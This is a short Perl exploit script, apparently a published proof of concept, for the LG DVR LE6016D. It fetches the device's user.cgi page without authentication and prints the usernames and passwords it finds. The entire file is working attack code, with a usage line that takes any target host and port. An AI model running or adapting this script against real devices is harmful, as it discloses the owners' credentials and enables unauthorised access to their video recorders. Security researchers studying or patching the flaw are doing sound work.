#!/usr/bin/perl
use LWP::Simple;
print " LG DVR LE6016D unauthenticated remote\n users/passwords disclosure exploit\n" ;
if ( @ARGV == 0) {&usg; &foot;}
while ( @ARGV > 0) {
$t = shift ( @ARGV );
}
my $r = get( "http://$t/dvr/wwwroot/user.cgi" ) or die ( "Error $!" );
for ( my $i =0; $i <= 4; $i ++){
if ( $r =~ m/<name>(.*)<\/name>/g){
print " u\/p: $1\/" ;
}
if ( $r =~ m/<pw>(.*)<\/pw>/g){
print "$1\n" ;
}
}
&foot;
sub usg(){
print "\n Usage: perl $0 <target:port>\n Example: perl $0 133.7.133.7:80\n\n" ;
}
sub foot(){
print " Copyright 2015 (c) Todor Donev\n <todor.donev at gmail.com>\n" ;
exit ;
}
|